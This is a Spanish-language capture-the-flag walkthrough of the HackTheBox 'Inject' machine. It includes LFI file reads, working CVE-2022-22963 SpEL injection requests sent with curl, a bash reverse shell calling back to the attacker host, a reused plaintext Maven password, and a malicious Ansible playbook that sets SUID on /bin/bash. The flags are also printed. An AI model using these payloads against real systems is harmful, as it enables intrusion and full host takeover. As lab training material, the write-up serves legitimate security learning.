HackTheBox - Inject (easy)
- Inject is an Easy Difficulty Linux machine featuring a website with file upload functionality vulnerable to Local File Inclusion (LFI). By exploiting the LFI vulnerability, files on the system can be enumerated, revealing that the web application uses a specific version of the
Spring-Cloud-Function-Web
module susceptible toCVE-2022-22963
. Exploiting this vulnerability grants an initial foothold as thefrank
user. Lateral movement is achieved by further file enumeration, which discloses a plaintext password forphil
. A cronjob running on the machine can then be exploited to execute a maliciousAnsible
playbook, ultimately obtaining a reverse shell as theroot
user.
PortScan
- Comenzamos escaneando los puertos abiertos y sus servicios por el protocolo TCP.
➜ nmap sudo nmap -sCV -p22,8080 10.10.11.204 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 11:53 CST
Nmap scan report for 10.10.11.204
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
| 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_ 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeración y LFI
- Vemos las versiones que esta corriendo el servicio web que al parecer no son muchas.
➜ nmap whatweb http://10.10.11.204:8080
http://10.10.11.204:8080 [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.10.11.204], Title[Home], YouTube
- Esta es la pagina web.
- En la parte de register no vemos nada importante.
- La parte de blogs funciona y vemos algunos usuarios.
- Sin embargo hay una ruta que se llama /upload la cual esta si funciona.
-
Vamos a subir un archivo cualquiera en este caso un
.txt
. -
Sin embargo aunque lo subamos nos da esta respuesta.
- Si probamos con una imagen funciona.
- Podemos ver la imagen y la
url
es interesante.
- Vamos a capturar la petición con
burpsuite
al momento de abrir la imagen y si probamos un LFI vemos que funciona.
- Hay 2 usuarios.
- Si vemos lo que hay dentro del directorio de
frank
encontramos esto.
- Aquí vemos una contraseña y un
.xml
con información.
La contraseña no funciona para conectarnos por SSH.
El archivo de configuración que ha mostrado pertenece a Maven, que es una herramienta de gestión y comprensión de proyectos de software. Este archivo específico se usa para configurar ajustes relacionados con la construcción y gestión de proyectos en Maven By ChatGPT.
- Vemos que ya nos hablan de
Java
.
- Vemos un
WebApp
con archivos interesantes.
- Si le decimos a
ChatGPT
a que corresponden esos archivos nos dice que pertenecen a Maven.
La imagen que has proporcionado muestra una lista de archivos y directorios que son comunes en un proyecto de Java utilizando Maven como sistema de gestión y construcción de proyectos.
Spring Cloud Function
- En el archivo
pom.xml
encontramos información incluye dependencias, propiedades del proyecto y configuraciones especificas de compilación.
- Nos da la versión que se esta utilizando para la biblioteca
spring-cloud-function-web
con versión3.2.2
.
-
Esta versión es vulnerable https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/.
-
Aquí nos explican en que consiste y como se explota https://sysdig.com/blog/cve-2022-22963-spring-cloud/.
-
Al parecer aprovecha de
Runtime.getRuntime().exec()
que es un método en Java para ejecutar comandos. -
Para ver si es vulnerable vamos hacer una petición con
curl
a la rutafunctionRouter
lo que vamos hacer es crear un archivo en el directorio/tmp
.
➜ content curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/8.5.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 02 Jun 2024 18:52:19 GMT
< Connection: close
<
* Closing connection
{"timestamp":"2024-06-02T18:52:19.471+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}%
- Si comprobamos desde el LFI vemos que efectivamente se creo.
Shell as frank
- Para obtener una
shell
vamos a crear un.sh
que contenga una reverseshell
y lo vamos a compartir mediante un servidor http con python3 para poder descargarlo en la maquina victima y hacer una petición al archivo.
➜ content cat reverse.php
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.55/443 0>&1
➜ content python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- Ahora nos ponemos en escucha.
➜ ~ nc -nlvp 443
listening on [any] 443 ...
- Ahora subimos el archivo a la máquina.
➜ content curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.55:80/reverse.sh -o /tmp/reverse.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/8.5.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.55:80/reverse.sh -o /tmp/reverse.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 02 Jun 2024 18:58:15 GMT
< Connection: close
<
* Closing connection
{"timestamp":"2024-06-02T18:58:15.168+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
- Ahora le damos permisos de ejecución.
➜ content curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/reverse.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/8.5.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/reverse.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 02 Jun 2024 18:59:10 GMT
< Connection: close
<
* Closing connection
{"timestamp":"2024-06-02T18:59:10.711+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
- Y por ultimo lo ejecutamos para obtener
shell
.
➜ content curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/reverse.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/8.5.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/reverse.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 02 Jun 2024 19:00:11 GMT
< Connection: close
<
* Closing connection
{"timestamp":"2024-06-02T19:00:11.233+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
- Recibimos la
shell
.
➜ ~ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.55] from (UNKNOWN) [10.10.11.204] 42862
bash: cannot set terminal process group (827): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ whoami
whoami
frank
frank@inject:/$
Shell as phil
- Si recordamos tenemos la contraseña de phil de primeras no pudimos conectarnos por
ssh
pero si podemos migrar a ese usuario desde lashell
.
frank@inject:~/.m2$ cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
frank@inject:~/.m2$
- Funciona.
frank@inject:~/.m2$ su phil
Password:
phil@inject:/home/frank/.m2$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:/home/frank/.m2$
User flag
- Podemos ver la flag.
phil@inject:~$ cat user.txt
8dc5c8c4c03735847448fbf460738832
phil@inject:~$
Privilege Escalation
- Al no encontrar nada interesante decidí ejecutar
pspy64
para ver tareascron
y encontré esta, correansible-parallel
https://pypi.org/project/ansible-parallel/.
- Allí vemos la estructura del
.yml
.
phil@inject:/opt/automation$ cd tasks/
phil@inject:/opt/automation/tasks$ ls
playbook_1.yml
phil@inject:/opt/automation/tasks$ cat playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
phil@inject:/opt/automation/tasks$
- Vemos que el directorio
tasks
corresponde al grupo staff y nosotros estamos allí y podemos escribir.
phil@inject:/opt/automation/tasks$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:/opt/automation/tasks$ cd ..
phil@inject:/opt/automation$ ls -l
total 4
drwxrwxr-x 2 root staff 4096 Jun 2 19:26 tasks
- Como es una tarea cron lo que vamos hacer es asignarle privilegios
SUID
alabash
usando el moduloansible.builtin.shell
https://docs.ansible.com/ansible/latest/collections/ansible/builtin/shell_module.html.
phil@inject:/opt/automation/tasks$ cat playbook_2.yml
- hosts: localhost
tasks:
- name: SUID
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
phil@inject:/opt/automation/tasks$
- Vamos a esperar a que se ejecute la tarea y ver si las
bash
se le otorga el privilegioSUID
.
phil@inject:/opt/automation/tasks$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
phil@inject:/opt/automation/tasks$
Shell as root
- Ahora ya estamos como
root
y vemos laflag
.
phil@inject:/opt/automation/tasks$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
5a756880b37d955eee4996c9ef8a0620
bash-5.0#